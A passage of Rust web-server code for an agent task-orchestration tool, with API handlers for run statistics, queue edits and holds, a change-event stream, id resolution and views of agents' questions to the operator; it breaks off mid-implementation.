7266/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7267/// data" from "computed and it really is zero" the way [`RateView`] does.
7268#[derive(Debug, Serialize)]
7269struct StatsView {
7270    totals: StatsTotalsView,
7271    /// Best win rate first, as [`stats::collect`] already sorts it.
7272    agents: Vec<AgentStatsView>,
7273    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7274    reviewers: Vec<ReviewerStatsView>,
7275    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7276    advisors: Vec<AdvisorStatsView>,
7277    e2e: E2eStatsView,
7278    release_bumps: ReleaseBumpStatsView,
7279    queue: Option<TaskCountsView>,
7280    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7281    /// that field's doc. Asserted to match it in
7282    /// `stats_runs_unreadable_matches_health`.
7283    ///
7284    /// Always the whole-workload count, even when `repo` narrows every other
7285    /// field to one repository - an unreadable `run.json` carries no `repo`
7286    /// a per-repository count could attribute it to, and the queue/health
7287    /// views this mirrors never scope it either. The UI must not present it
7288    /// as if it were scoped to the selected repository.
7289    runs_unreadable: usize,
7290    /// Every repository with runs recorded, most runs first - what the UI's
7291    /// repository selector is built from. Always the full list regardless of
7292    /// `repo`, so switching repositories never needs a second request.
7293    repos: Vec<RepoSummaryView>,
7294    /// Runs per local day over the last 30 days, oldest first, always 30
7295    /// entries. Days are the *server's* local dates (the UI must not convert
7296    /// them again), cut by run creation and classified by current status.
7297    /// Narrowed by `repo` like every other run-derived field.
7298    daily: Vec<DailyStatsView>,
7299    /// The `?repo=` value this response was narrowed to, echoed back so the
7300    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7301    /// all-repositories view.
7302    repo: Option<String>,
7303    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7304    /// current config roster no longer lists them. Empty with `?all=true`, an
7305    /// unreadable config, or when nothing was retired.
7306    retired_hidden: Vec<String>,
7307}
7308
7309/// One day of [`StatsView::daily`].
7310#[derive(Debug, Serialize)]
7311struct DailyStatsView {
7312    /// `YYYY-MM-DD`, server-local.
7313    date: String,
7314    runs: usize,
7315    merged: usize,
7316    ready: usize,
7317    other: usize,
7318    /// `None` on a day with no runs, so it never reads as 0%.
7319    completion_rate: Option<RateView>,
7320}
7321
7322impl From<&stats::DayBucket> for DailyStatsView {
7323    fn from(b: &stats::DayBucket) -> Self {
7324        Self {
7325            date: b.date.to_string(),
7326            runs: b.runs,
7327            merged: b.merged,
7328            ready: b.ready,
7329            other: b.other,
7330            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7331        }
7332    }
7333}
7334
7335/// How many days [`StatsView::daily`] covers.
7336const STATS_DAILY_DAYS: usize = 30;
7337
7338/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7339/// repository. Matched by full-path equality against `RunState.repo` only
7340/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7341/// `--repo` is, because the value here always came from this same route's
7342/// own `repos` list in an earlier response, never typed by a human. A value
7343/// matching no run is a 404, not an empty aggregate: the caller asked for a
7344/// specific, named repository, and silently returning zeroes would look
7345/// exactly like a repository that has runs but none of interest.
7346#[derive(Debug, Default, Deserialize)]
7347#[serde(default)]
7348struct StatsQuery {
7349    repo: Option<String>,
7350    /// `?all=true` keeps agents that are no longer in the roster.
7351    all: bool,
7352    /// The dashboard fetches queue counts independently of run history.
7353    runs_only: bool,
7354}
7355
7356/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7357/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7358/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7359/// prints from. Reads every readable run on disk, exactly as
7360/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7361/// a separately-maintained tally could.
7362async fn stats_get(
7363    State(ui): State<Arc<Ui>>,
7364    Query(q): Query<StatsQuery>,
7365) -> ApiResult<Json<StatsView>> {
7366    blocking(move || {
7367        let states: Vec<RunState> = run_ids(&ui.runs)
7368            .into_iter()
7369            .filter_map(|id| read_run(&ui.runs, &id).ok())
7370            .collect();
7371        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7372            .iter()
7373            .map(RepoSummaryView::from)
7374            .collect();
7375        let mut scoped: Vec<&RunState> = states.iter().collect();
7376        let mut collected = match &q.repo {
7377            Some(repo) => {
7378                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7379                if filtered.is_empty() {
7380                    return Err(ApiError::not_found(format!(
7381                        "no runs recorded against repo `{repo}`"
7382                    )));
7383                }
7384                scoped = filtered.clone();
7385                stats::collect_refs(filtered)
7386            }
7387            None => stats::collect(&states),
7388        };
7389        if !q.all {
7390            let repo = q
7391                .repo
7392                .as_deref()
7393                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7394            stats::retain_current_roster(&mut collected, &repo);
7395        }
7396        let daily = stats::daily(
7397            scoped,
7398            jiff::Zoned::now().date(),
7399            &jiff::tz::TimeZone::system(),
7400            STATS_DAILY_DAYS,
7401        );
7402        let queue_counts = (!q.runs_only)
7403            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7404        Ok(Json(StatsView {
7405            totals: StatsTotalsView::from(&collected.totals),
7406            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7407            reviewers: collected
7408                .reviewers
7409                .iter()
7410                .map(ReviewerStatsView::from)
7411                .collect(),
7412            advisors: collected
7413                .advisors
7414                .iter()
7415                .map(AdvisorStatsView::from)
7416                .collect(),
7417            e2e: E2eStatsView::from(&collected.e2e),
7418            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7419            queue: queue_counts,
7420            runs_unreadable: runs_unreadable(&ui.runs),
7421            repos,
7422            daily: daily.iter().map(DailyStatsView::from).collect(),
7423            repo: q.repo.clone(),
7424            retired_hidden: collected.retired_hidden.clone(),
7425        }))
7426    })
7427    .await
7428}
7429
7430/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7431/// gives no reason - which must keep working, since not every hold has one.
7432#[derive(Debug, Default, Deserialize)]
7433#[serde(default, deny_unknown_fields)]
7434struct HoldBody {
7435    reason: Option<String>,
7436}
7437
7438async fn queue_hold(
7439    State(ui): State<Arc<Ui>>,
7440    Path(id): Path<String>,
7441    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7442) -> ApiResult<Json<TaskView>> {
7443    // An absent body is the ordinary case - most holds are unexplained, and
7444    // that has to stay a one-tap action rather than a form. A body that is
7445    // present and malformed is still a bad request.
7446    let body = match body {
7447        Ok(Json(body)) => body,
7448        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7449        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7450    };
7451    let reason = body.reason.filter(|r| !r.trim().is_empty());
7452    mutate(ui, id, move |t| {
7453        t.hold_manual(reason.clone());
7454        Ok(())
7455    })
7456    .await
7457}
7458
7459#[derive(Deserialize)]
7460#[serde(deny_unknown_fields)]
7461struct ReassignBody {
7462    repo: PathBuf,
7463}
7464
7465async fn queue_reassign(
7466    State(ui): State<Arc<Ui>>,
7467    Path(id): Path<String>,
7468    Json(body): Json<ReassignBody>,
7469) -> ApiResult<Json<TaskView>> {
7470    let home = ui.home.clone();
7471    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7472        .await
7473        .map_err(ApiError::bad_request_from)?;
7474    let notes = crate::task_reassign::advisory_notes(&task, &home);
7475    let mut view = TaskView::from(task);
7476    view.reassignment_notes = notes;
7477    Ok(Json(view))
7478}
7479
7480async fn queue_release(
7481    State(ui): State<Arc<Ui>>,
7482    Path(id): Path<String>,
7483) -> ApiResult<Json<TaskView>> {
7484    mutate(ui, id, |t| {
7485        t.release_operator("web", None);
7486        Ok(())
7487    })
7488    .await
7489}
7490
7491#[derive(Debug, Deserialize)]
7492#[serde(deny_unknown_fields)]
7493struct AttemptLimitBody {
7494    // Required even when clearing: missing fields must not silently erase an override.
7495    attempt_limit: serde_json::Value,
7496}
7497
7498async fn queue_attempt_limit(
7499    State(ui): State<Arc<Ui>>,
7500    Path(id): Path<String>,
7501    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7502) -> ApiResult<Json<TaskView>> {
7503    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7504    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7505        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7506    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7507}
7508
7509#[derive(Debug, Deserialize)]
7510#[serde(deny_unknown_fields)]
7511struct ImplementersBody {
7512    implementers: u8,
7513}
7514
7515async fn queue_implementers(
7516    State(ui): State<Arc<Ui>>,
7517    Path(id): Path<String>,
7518    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7519) -> ApiResult<Json<TaskView>> {
7520    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7521    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7522}
7523
7524#[derive(Debug, Deserialize)]
7525#[serde(deny_unknown_fields)]
7526struct UrgentBody {
7527    urgent: bool,
7528}
7529
7530async fn queue_urgent(
7531    State(ui): State<Arc<Ui>>,
7532    Path(id): Path<String>,
7533    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7534) -> ApiResult<Json<TaskView>> {
7535    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7536    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7537}
7538
7539/// The body of `POST /api/queue/{id}/priority`.
7540#[derive(Debug, Deserialize)]
7541#[serde(deny_unknown_fields)]
7542struct PriorityBody {
7543    priority: i32,
7544}
7545
7546/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7547///
7548/// [`Task::set_priority`] is the one place the "not while running" rule is
7549/// stated; this route only carries the body to it and lets its `Err` become
7550/// the 4xx the card shows.
7551async fn queue_priority(
7552    State(ui): State<Arc<Ui>>,
7553    Path(id): Path<String>,
7554    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7555) -> ApiResult<Json<TaskView>> {
7556    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7557    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7558}
7559
7560/// The body of `POST /api/queue/{id}/edit`.
7561#[derive(Debug, Deserialize)]
7562#[serde(deny_unknown_fields)]
7563struct EditBody {
7564    title: String,
7565    instruction: String,
7566    /// Save even though the new text names a branch, commit or pull request
7567    /// that unfinished work already owns.
7568    #[serde(default)]
7569    force: bool,
7570}
7571
7572/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7573/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7574/// that refusal's message is what the sheet shows back.
7575async fn queue_edit(
7576    State(ui): State<Arc<Ui>>,
7577    Path(id): Path<String>,
7578    body: std::result::Result<Json<EditBody>, JsonRejection>,
7579) -> ApiResult<Json<TaskView>> {
7580    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7581    // The judge is an agent call, so it is awaited here, outside the claim
7582    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7583    // remembered, and the save refuses if the task moved underneath it.
7584    let mut judged: Option<(String, PathBuf)> = None;
7585    if !body.force {
7586        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7587        let (id, text) = (id.clone(), body.instruction.clone());
7588        let (seen, hits) = blocking(move || {
7589            let id = resolve_task(&queue, &id)?;
7590            let t = queue.get(&id)?;
7591            if text == t.instruction {
7592                return Ok((None, Vec::new()));
7593            }
7594            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7595            Ok((Some((t.instruction, t.repo)), hits))
7596        })
7597        .await?;
7598        if let Some((_, repo)) = &seen {
7599            let cfg = crate::config::Config::discover(repo, None)
7600                .ok()
7601                .map(|(c, _)| c);
7602            let screened =
7603                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7604                    .await
7605                    .map_err(|dup| {
7606                        ApiError::conflict(dup.render(
7607                            "Nothing was saved. If it is not a duplicate, repeat the request \
7608                             with \"force\": true.",
7609                        ))
7610                    })?;
7611            if let crate::dupes::Screened::Unjudged(why) = screened {
7612                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7613            }
7614        }
7615        judged = seen;
7616    }
7617    let force = body.force;
7618    mutate(ui, id, move |t| {
7619        if !force && body.instruction != t.instruction {
7620            match &judged {
7621                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7622                _ => {
7623                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7624                }
7625            }
7626        }
7627        t.edit(body.title.clone(), body.instruction.clone())
7628    })
7629    .await
7630}
7631
7632#[derive(Debug, Default, Deserialize)]
7633#[serde(default, deny_unknown_fields)]
7634struct CompleteBody {
7635    reason: Option<String>,
7636    discard: bool,
7637}
7638
7639/// Close through the same audited merge/discard guard as the CLI.
7640async fn queue_done(
7641    State(ui): State<Arc<Ui>>,
7642    Path(id): Path<String>,
7643    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7644) -> ApiResult<Json<TaskView>> {
7645    let body = match body {
7646        Ok(Json(body)) => body,
7647        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7648        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7649    };
7650    let state = Arc::clone(&ui);
7651    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7652    let task = crate::task_completion::close_claimed(
7653        &ui.queue,
7654        &ui.home,
7655        claimed,
7656        crate::queue::CompletionActor::Web,
7657        body.reason,
7658        body.discard,
7659    )
7660    .await
7661    .map_err(ApiError::completion)?;
7662    Ok(Json(TaskView::from(task)))
7663}
7664
7665#[derive(Debug, Deserialize)]
7666#[serde(deny_unknown_fields)]
7667struct ReopenBody {
7668    reason: String,
7669}
7670
7671/// Restore a safely unlanded completion to Held, never straight to execution.
7672async fn queue_reopen(
7673    State(ui): State<Arc<Ui>>,
7674    Path(id): Path<String>,
7675    Json(body): Json<ReopenBody>,
7676) -> ApiResult<Json<TaskView>> {
7677    let state = Arc::clone(&ui);
7678    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7679    let task = crate::task_completion::reopen_claimed(
7680        &ui.queue,
7681        &ui.home,
7682        claimed,
7683        crate::queue::CompletionActor::Web,
7684        &body.reason,
7685    )
7686    .await
7687    .map_err(ApiError::completion)?;
7688    Ok(Json(TaskView::from(task)))
7689}
7690
7691/// `DELETE /api/queue/{id}`.
7692///
7693/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7694/// names this task: a `running` status or an orphaned `.lock` left behind by a
7695/// killed daemon is a leftover, and treating either as authority made the
7696/// task undeletable from the phone for good. The associated runs, if any, are
7697/// kept: a run is self-contained history and not an appendage of the task.
7698async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7699    blocking(move || {
7700        let id = resolve_task(&ui.queue, &id)?;
7701        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7702        ui.queue
7703            .remove(&id, in_flight, &ui.questions)
7704            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7705        Ok(StatusCode::NO_CONTENT)
7706    })
7707    .await
7708}
7709
7710/// Resolve the operator's reference, then reload under the same claim a daemon takes.
7711fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
7712    let id = resolve_task(queue, reference)?;
7713    let claim = queue.claim(&id).map_err(|e| {
7714        ApiError::conflict(format!(
7715            "{e:#} - a daemon is running this task, so it cannot be \
7716             changed from here yet; wait until it is released, then retry"
7717        ))
7718    })?;
7719    Ok((claim, queue.get(&id)?))
7720}
7721
7722/// Read a task, change it, write it back, under the queue's own lock.
7723///
7724/// Taking the same claim a daemon takes is what makes hold, release,
7725/// priority, edit, and done safe to press while magi is running: without it
7726/// the daemon's next save would land on top of the operator's change and
7727/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7728/// both do, for a running task - and that refusal becomes the 4xx the card
7729/// shows, same as any other domain rule.
7730async fn mutate(
7731    ui: Arc<Ui>,
7732    id: String,
7733    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7734) -> ApiResult<Json<TaskView>> {
7735    blocking(move || {
7736        let (_claim, mut task) = claim_task(&ui.queue, &id)?;
7737        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7738            Ok(dup) => ApiError::conflict(dup.render(
7739                "Nothing was saved. If it is not a duplicate, repeat the request with \
7740                 \"force\": true.",
7741            )),
7742            Err(e) => ApiError::bad_request_from(e),
7743        })?;
7744        ui.queue.put(&mut task)?;
7745        Ok(Json(TaskView::from(task)))
7746    })
7747    .await
7748}
7749
7750/// The change stream: one revision number per store, on connect and whenever
7751/// any of them moves.
7752///
7753/// One shared worker scans stores; clients only forward its notifications.
7754async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7755    ui.monitor.ensure_worker(&ui);
7756    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7757    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7758
7759    let state = Arc::clone(&ui);
7760    tokio::spawn(async move {
7761        let initial_revisions = {
7762            let guard = match state.monitor.latest.lock() {
7763                Ok(g) => g,
7764                Err(p) => p.into_inner(),
7765            };
7766            guard.as_ref().map(|(r, _)| *r)
7767        };
7768        if let Some(revisions) = initial_revisions {
7769            let initial_payload = serde_json::json!({
7770                "queue_rev": revisions.0,
7771                "runs_rev": revisions.1,
7772                "questions_rev": revisions.2,
7773                "talks_rev": revisions.3,
7774                "notifications_rev": revisions.4,
7775                "loop_rev": revisions.5,
7776            });
7777
7778            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7779                if tx.send(event).await.is_err() {
7780                    return;
7781                }
7782            }
7783        }
7784
7785        loop {
7786            match tokio::select! {
7787                _ = tx.closed() => return,
7788                value = broadcast_rx.recv() => value,
7789            } {
7790                Ok(notif) => {
7791                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7792                    else {
7793                        break;
7794                    };
7795                    if tx.send(event).await.is_err() {
7796                        break;
7797                    }
7798                }
7799                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7800                    let revs = {
7801                        let guard = match state.monitor.latest.lock() {
7802                            Ok(g) => g,
7803                            Err(p) => p.into_inner(),
7804                        };
7805                        guard.as_ref().map(|(r, _)| *r)
7806                    };
7807                    if let Some(revs) = revs {
7808                        let payload = serde_json::json!({
7809                            "queue_rev": revs.0,
7810                            "runs_rev": revs.1,
7811                            "questions_rev": revs.2,
7812                            "talks_rev": revs.3,
7813                            "notifications_rev": revs.4,
7814                            "loop_rev": revs.5,
7815                        });
7816                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7817                            if tx.send(event).await.is_err() {
7818                                break;
7819                            }
7820                        }
7821                    }
7822                }
7823                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7824                    break;
7825                }
7826            }
7827        }
7828    });
7829
7830    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7831        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7832}
7833
7834/// Run ids under `runs`, newest first.
7835///
7836/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7837/// which reads the process-global home: the server has to be drivable against
7838/// a temp directory for any of this to be testable.
7839fn run_ids(runs: &FsPath) -> Vec<String> {
7840    let mut ids: Vec<String> = std::fs::read_dir(runs)
7841        .into_iter()
7842        .flatten()
7843        .flatten()
7844        .filter(|e| e.path().join("run.json").is_file())
7845        .map(|e| e.file_name().to_string_lossy().into_owned())
7846        .collect();
7847    // Ids start with a sortable timestamp.
7848    ids.sort_unstable_by(|a, b| b.cmp(a));
7849    ids
7850}
7851
7852/// Read one run's state from an explicit runs root.
7853fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7854    let path = runs.join(id).join("run.json");
7855    let body =
7856        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7857    let state: RunState =
7858        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7859    // The same migration `RunState::load` applies, so a record from the
7860    // previous schema reads here as it does everywhere else (an origin-less
7861    // run shows as "origin unknown") instead of vanishing from the phone the
7862    // moment the schema is bumped.
7863    run::migrate_schema(state)
7864}
7865
7866/// Runs on disk under `runs` whose state this build cannot parse - almost
7867/// always a schema bump, occasionally a run killed mid-write.
7868///
7869/// Exposed so every surface that reports on runs shares one count instead of
7870/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7871/// `magi doctor` calls this directly rather than guessing at the same number
7872/// a second way.
7873#[must_use]
7874pub fn runs_unreadable(runs: &FsPath) -> usize {
7875    run_ids(runs)
7876        .into_iter()
7877        .filter(|id| read_run(runs, id).is_err())
7878        .count()
7879}
7880
7881fn plain_record_id(id: &str) -> bool {
7882    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7883}
7884
7885/// Expand an id or short id to exactly one run id.
7886fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7887    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7888        return Ok(id.to_owned());
7889    }
7890    pick(run_ids(runs), id, "run")
7891}
7892
7893/// Expand an id or short id to exactly one task id.
7894fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7895    if plain_record_id(id) && queue.path_of(id).is_file() {
7896        return Ok(id.to_owned());
7897    }
7898    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7899    pick(ids, id, "task")
7900}
7901
7902/// A question as the phone reads it.
7903///
7904/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7905/// text already parsed into a node tree so the client never runs its own
7906/// markdown reader over agent-authored prose. A relative image path in it
7907/// resolves against this question's own panel asset route, which is the one
7908/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7909/// separate, sandboxed document, but `detail` is rendered inline in the
7910/// operator's own page, so an image reference in it may only ever point at
7911/// files magi itself already serves for this question.
7912#[derive(Debug, Serialize)]
7913struct QuestionView {
7914    can_answer: bool,
7915    /// Imported consent remains history even while its effect is uncertain.
7916    history_only: bool,
7917    choice_effects: std::collections::BTreeMap<String, String>,
7918    record_revision: String,
7919    #[serde(flatten)]
7920    question: Question,
7921    detail_md: Vec<md::Node>,
7922    posting_view: Option<PostingView>,
7923    /// Each thread turn's body, parsed; same order as `question.thread`.
7924    thread_bodies_md: Vec<Vec<md::Node>>,
7925    /// Each thread turn's deputy note, parsed (`None` for a turn without
7926    /// one); same order as `question.thread`.
7927    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7928    /// Is the ball in the agent's court right now?
7929    ///
7930    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7931    /// [`Question::say`] - so this is the one field that tells the phone to
7932    /// disable the answer controls and show "waiting for the agent" instead of
7933    /// a card the owner can act on. Computed rather than stored on
7934    /// [`Question`] itself, on the same reasoning as `waiting` on
7935    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7936    /// it here means the client never has to re-derive that rule.
7937    waiting_on_agent: bool,
7938    /// Who is waiting on this open question - see [`holder_of`]. Separate
7939    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7940    /// anyone is there to take it.
7941    holder: Option<&'static str>,
7942    /// Whether `magi serve` can start a follow-up agent for a conductor
7943    /// question at all: false when `daemon.max_deputies = 0` or the config is
7944    /// unreadable. Separate from `holder`, which says who is listening now.
7945    deputies_enabled: bool,
7946    /// All starts were spent and no live holder remains. Display-only: the
7947    /// final attempt increments `starts` before running under its lease.
7948    deputy_exhausted: bool,
7949    text_delivery: crate::question_delivery::Availability,
7950    /// `question.run` is a task id (conductor / triage questions), not a run
7951    /// id, so the UI links it to the task page.
7952    run_is_task: bool,
7953    /// The existing chat this question's task came from, including settled
7954    /// questions - see [`crate::consult::associated_talk`].
7955    origin_chat: Option<String>,
7956    /// `origin_chat` is closed; consulting reopens it first.
7957    origin_chat_closed: bool,
7958    /// Consultation eligibility is separate from navigation to the chat.
7959    can_consult_chat: bool,
7960}
7961
7962#[derive(Debug, Serialize)]
7963struct PostingView {
7964    before_md: Vec<md::Node>,
7965    after_md: Vec<md::Node>,
7966    fields: Vec<crate::github_text::ComparisonView>,
7967}
7968
7969fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7970    let comparison = question.posting_comparison.as_ref()?;
7971    if !comparison.matches_detail(&question.detail) {
7972        return None;
7973    }
7974    let mut ids = std::collections::BTreeSet::new();
7975    if comparison.fields.is_empty()
7976        || comparison
7977            .fields
7978            .iter()
7979            .flat_map(|f| &f.pairs)
7980            .any(|p| !ids.insert(p.id))
7981        || comparison
7982            .fields
7983            .iter()
7984            .flat_map(|f| &f.original_triggers)
7985            .any(|t| !ids.insert(t.id))
7986    {
7987        return None;
7988    }
7989    let fields = comparison
7990        .fields
7991        .iter()
7992        .map(|f| f.view(comparison.excerpt))
7993        .collect::<Option<Vec<_>>>()?;
7994    Some(PostingView {
7995        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7996        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7997        fields,
7998    })
7999}
8000
8001impl QuestionView {
8002    /// The view of `question`, reading who is waiting on it from `store`.
8003    ///
8004    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8005    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8006        let base = md::ImageBase::QuestionPanel {
8007            id: question.id.clone(),
8008        };
8009        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8010        Self {
8011            can_answer: question.can_answer(),
8012            history_only: store.held_reply(&question.id),
8013            choice_effects: question
8014                .choices
8015                .iter()
8016                .filter_map(|c| {
8017                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8018                })
8019                .collect(),
8020            record_revision: question_record_revision(&question),
8021            detail_md: md::to_nodes(&question.detail, &base),
8022            posting_view: posting_view(&question, &base),
8023            thread_bodies_md: question
8024                .thread
8025                .iter()
8026                .map(|t| md::to_nodes(&t.body, &base))
8027                .collect(),
8028            thread_notes_md: question
8029                .thread
8030                .iter()
8031                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8032                .collect(),
8033            deputy_exhausted: store.deputy_exhausted(&question),
8034            waiting_on_agent: question.waiting_on_agent(),
8035            holder,
8036            deputies_enabled: deputies_enabled(cfg, &question),
8037            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8038            run_is_task: question.run_names_task(),
8039            origin_chat: None,
8040            origin_chat_closed: false,
8041            can_consult_chat: false,
8042            question,
8043        }
8044    }
8045
8046    /// Fill `origin_chat` from the queue and the talks.
8047    fn with_origin(
8048        mut self,
8049        tasks: &[crate::queue::Task],
8050        talks: &[Talk],
8051        watches: &[crate::release_watch::WatchState],
8052    ) -> Self {
8053        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8054        self.can_consult_chat = consult.is_some();
8055        let talk =
8056            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8057        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8058        self.origin_chat = talk.map(|t| t.id);
8059        self
8060    }
8061}
8062
8063/// The config this repository resolves, or `None` when it cannot be read.
8064/// Discovering is git processes plus a config render, so a request that needs
8065/// it for many items takes it once and passes it down.
8066fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8067    Config::discover(repo, None).ok().map(|(c, _)| c)
8068}
8069
8070/// Can `magi serve` start a deputy for this question under `cfg`?
8071fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8072    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8073}
8074
8075/// The views `GET /api/questions` answers. `load` runs at most once, however
8076/// many questions there are, and not at all when there are none.
8077fn question_views(
8078    qs: Vec<Question>,
8079    store: &ask::Questions,
8080    load: impl FnOnce() -> Option<Config>,
8081) -> Vec<QuestionView> {
8082    if qs.is_empty() {
8083        return Vec::new();
8084    }
8085    let cfg = load();
8086    qs.into_iter()
8087        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8088        .collect()
8089}
8090
8091/// Who is honestly waiting on an open question right now: `"asker"` (the
8092/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8093/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8094/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8095/// up, or the question never had anyone listening (a conductor question or a
8096/// merge approval from before deputies, or not yet given one).
8097///
8098/// `None` for a question that is settled, and for one that is not an agent's
8099/// to wait on at all (a release notice).
8100fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8101    if !q.status.open() {
8102        return None;
8103    }
8104    if q.cwd.is_none()
8105        && q.deputy.is_none()
8106        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8107    {
8108        return crate::deputy::kind_of(q).map(|_| "nobody");
8109    }
8110    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8111        Some(_) if q.deputy.is_some() => "deputy",
8112        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8113        Some(_) => "asker",
8114        None => "nobody",
8115    })
8116}
8117
8118/// `GET /api/questions`.
8119///
8120/// Everything, not just the open ones: an answered question is the record of a
8121/// decision, and the phone is where the operator goes back to check what they
8122/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8123#[derive(serde::Serialize)]
8124struct DecisionView {
8125    id: String,
8126    task: String,
8127    run: Option<String>,
8128    chat: Option<String>,
8129    display: String,
8130    delivery_error: Option<String>,
8131    decision: crate::task_decision::Decision,
8132}
8133
8134impl DecisionView {
